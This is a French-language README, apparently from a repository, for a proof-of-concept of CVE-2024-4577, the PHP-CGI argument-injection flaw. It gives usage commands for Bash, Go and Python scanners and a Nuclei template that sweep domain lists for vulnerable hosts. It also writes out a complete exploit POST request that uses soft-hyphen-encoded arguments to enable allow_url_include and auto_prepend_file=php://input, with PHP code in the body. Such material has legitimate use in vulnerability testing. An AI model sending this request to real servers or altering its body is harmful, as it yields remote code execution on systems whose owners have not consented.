
PoC RCE PHP pour CVE-2024-4577 écrit en bash, go, python et un template nuclei
Ce dépôt contient des scripts pour vérifier la vulnérabilité CVE-2024-4577, un problème d'injection d'argument dans PHP-CGI. Vous pouvez utiliser les scripts Bash, Go et Python fournis pour tester une liste de domaines pour cette vulnérabilité. J'ai également publié un fichier YAML Nuclei.
Pour utiliser le script Bash, exécutez la commande suivante :
./CVE-2024-4577.sh /path/to/domains-list
Tout d'abord, enregistrez le script Go dans un fichier nommé CVE-2024-4577.go. Pour compiler et exécuter le script Go :
Compilez le script Go en un binaire :
go build -o CVE-2024-4577 CVE-2024-4577.go
Exécutez le binaire avec le fichier de liste de domaines en argument :
./CVE-2024-4577 /path/to/domains-list
Tout d'abord, enregistrez le script Python dans un fichier nommé CVE-2024-4577.py. Pour exécuter le script Python :
Assurez-vous que la bibliothèque requests est installée :
pip install requests
Exécutez le script Python avec le fichier de liste de domaines en argument :
python CVE-2024-4577.py /path/to/domains-list
(Optionnel) Si vous souhaitez n'afficher que les hôtes vulnérables :
python CVE-2024-4577.py /path/to/domains-list --quiet
Pour tester manuellement la vulnérabilité, vous pouvez envoyer la requête POST suivante :
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php phpinfo(); ?>
J'ai également créé un modèle Nuclei pour scanner les instances vulnérables ; il utilise le schéma v3 et a été testé dans un environnement de laboratoire :
nuclei -t CVE-2024-4577.yaml -u <target-url>
La liste de domaines doit être précédée de http/https pour être lue correctement.
http://example.com
http://testsite.com
http://vulnerablesite.com
Si un domaine est trouvé vulnérable, la sortie sera :
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable